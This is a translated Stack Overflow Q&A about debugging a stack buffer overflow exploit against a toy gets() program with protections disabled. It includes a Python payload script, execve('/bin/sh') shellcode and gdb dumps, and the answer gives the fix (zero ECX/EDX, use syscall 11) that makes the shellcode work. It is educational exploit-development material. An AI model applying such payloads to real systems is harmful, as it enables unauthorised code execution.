【问题标题】:Illegal Instruction when trying to get shell from a simple stackoverflow尝试从简单的 stackoverflow 获取 shell 时的非法指令
【发布时间】:2017-12-02 11:18:59
【问题描述】:

我正在尝试利用堆栈溢出漏洞来获取 shell。当我尝试运行它时,它在执行 shellcode 而不是给出 shell 后显示非法硬件指令(int x80(syscall to give shell) 之后出现错误)。

源代码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

编译时没有堆栈cookie,nx禁用并且aslr关闭

反汇编:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x080483c4 <+0>: push   ebp
   0x080483c5 <+1>: mov    ebp,esp
   0x080483c7 <+3>: and    esp,0xfffffff0
   0x080483ca <+6>: sub    esp,0x50
   0x080483cd <+9>: lea    eax,[esp+0x10]
   0x080483d1 <+13>:    mov    DWORD PTR [esp],eax
   0x080483d4 <+16>:    call   0x80482e8 <gets@plt>
   0x080483d9 <+21>:    leave  
   0x080483da <+22>:    ret    
End of assembler dump.

在 0x080483da 断点后堆栈(在上面 sn-p 的 ret 指令处):

0000| 0xffffce6c --> 0xffffce76 --> 0x90909090 
0004| 0xffffce70 --> 0x90909090 
0008| 0xffffce74 --> 0x90909090 
0012| 0xffffce78 --> 0x90909090 
0016| 0xffffce7c --> 0x90909090 
0020| 0xffffce80 --> 0x90909090 
0024| 0xffffce84 --> 0x6850c031 
0028| 0xffffce88 ("//shh/bin\211\343PTS\260"...)

我的漏洞利用代码:

#!/usr/bin/python

import struct

buff = "A"*76                                   # filled with A
return_address = struct.pack("I",0xffffce76)    # eip jumps on the nop slide(I've verified it)
nops = "\x90"*20
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
# shellcode is taken from http://shell-storm.org/shellcode/files/shellcode-749.php
print buff+return_address+nops+shellcode

扩展形式的shellcode:

%define SYS_EXECV 59    
section .text

    global _start

    _start:
       xor eax, eax

       push eax

       push '//sh'
       push '/bin'

       mov ebx, esp

       push eax
       push esp
       push ebx
       mov al, SYS_EXECV
       push eax
       int 0x80

中断指令后转储:

 0xffffce8f:    add    BYTE PTR [eax],al
       0xffffce91:  mov    ebx,esp
       0xffffce93:  push   eax
       0xffffce94:  push   esp
       0xffffce95:  push   ebx
       0xffffce96:  mov    al,0x3b
       0xffffce98:  push   eax
       0xffffce99:  int    0x80
    => 0xffffce9b:  add    BYTE PTR [eax],al
       0xffffce9d:  adc    bl,bh
       0xffffce9f:  test   DWORD PTR [eax],0x7e000000
       0xffffcea5:  jmp    0x1b81:0xe46e26f6
       0xffffceac:  add    BYTE PTR [eax],al
       0xffffceae:  add    BYTE PTR [eax],al
       0xffffceb0:  add    BYTE PTR [eax],al
       0xffffceb2:  add    BYTE PTR [eax],al
       0xffffceb4:  add    BYTE PTR [eax],al
       0xffffceb6:  add    BYTE PTR [eax],al
       0xffffceb8:  add    DWORD PTR [eax],eax
       0xffffceba:  add    BYTE PTR [eax],al
       0xffffcebc:  adc    BYTE PTR [ebx+0x804],al
       0xffffcec2:  add    BYTE PTR [eax],al
       0xffffcec4:  xor    al,ah
       0xffffcec6:  (bad)  
       0xffffcec7:  mul    DWORD PTR [eax+0xf7fe88]
       0xffffcecd:  sar    bh,1
       0xffffcecf:  test   DWORD PTR [ecx],0x10000000
       0xffffced5:  add    DWORD PTR [eax+ecx*1],0x0
       0xffffced9:  add    BYTE PTR [eax],al
       0xffffcedb:  add    BYTE PTR [ecx],dh
       0xffffcedd:  add    DWORD PTR [eax+ecx*1],0xffffffc4
       0xffffcee1:  add    DWORD PTR [eax+ecx*1],0x1
       0xffffcee5:  add    BYTE PTR [eax],al
       0xffffcee7:  add    BYTE PTR [edi+ecx*8],al
       0xffffceea:  (bad)  
       0xffffceeb:  push   eax
       0xffffceed:  add    DWORD PTR [eax+ecx*1],0xffffffe0
       0xffffcef1:  add    DWORD PTR [eax+ecx*1],0xffffffa0
       0xffffcef5:  mov    dh,bh
       0xffffcef7:  idiv   esp
       0xffffcef9:  into   
       0xffffcefa:  (bad)  
       0xffffcefb:  call   FWORD PTR [eax]
       0xffffcefd:  fcos   
       0xffffceff:  test   DWORD PTR [ecx],0x7000000

注册:

EAX  0x0
 EBX  0xffffce64 ◂— 'Linux'
 ECX  0xf7fb15a0 (_IO_2_1_stdin_) ◂— mov    byte ptr [eax], ah /* 0xfbad2088 */
 EDX  0xf7fb287c (_IO_stdfile_0_lock) ◂— 0
 EDI  0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 ESI  0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 EBP  0x41414141 ('AAAA')
 ESP  0xffffce54 ◂— 0x3b /* ';' */
*EIP  0xffffce9b ◂— 0xfb100000

【问题讨论】:

  • 究竟是哪条非法指令?什么是 EIP,该位置的内存中有什么?您的转储似乎没有显示这一点。
  • 哦,sys_execve() 是否返回错误,因此执行会继续超过您的int 0x80?使用strace。但可能是因为您没有为execve 的其他参数传递0(或指向NULL 的指针),所以它可能返回-EFAULT。看eax
  • 但可能是因为您没有为 execve 的其他参数传递 0(或指向 NULL 的指针)? --> 怎么做(我不是很擅长)?
  • 查看任何工作的 32 位 x86 Linux shellcode 并注意它们异或零 ecx 和 edx,因为 stackoverflow.com/questions/2535989/…execve(2) 需要 3 个参数:man7.org/linux/man-pages/man2/execve.2.html 特别参见手册页的 Notes 部分,其中解释了传递 NULL 而不是指向 NULL 的指针恰好在 Linux 上工作。

标签: assembly x86 stack-overflow buffer-overflow shellcode


【解决方案1】:

%define SYS_EXECV 59:不,那是unistd_32.h 中的__NR_oldolduname(这是适用于int 0x80 的那个)。对于 x86-64 syscall ABI,__NR_execve 是 59。 (unistd_64.h)。 What are the calling conventions for UNIX & Linux system calls on i386 and x86-64.

你也没有为第二个两个参数of execve(const char *filename, char *const argv[], char *const envp[])传递任何东西。 ECX 和 EDX 可能是非零但无效的指针,因此 sys_execve 将返回 -EFAULT

您的寄存器转储显示EAX=0,因为您进行了错误的系统调用。 oldolduname (eax=59/int 0x80) 可能是uname 的旧版本,因此它在堆栈上存储了struct utsname 的旧版本,在ebx 指向的内存缓冲区中。它成功了,所以它在 EAX 中返回了0


使用strace 查看您的代码进行了哪些系统调用。


如果您添加xor ecx,ecxxor edx,edx,您的代码可能会起作用,并将sys_execve 的系统调用号更改为11

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-12-03
    • 2012-09-08
    • 2018-08-25
    • 2020-03-23
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多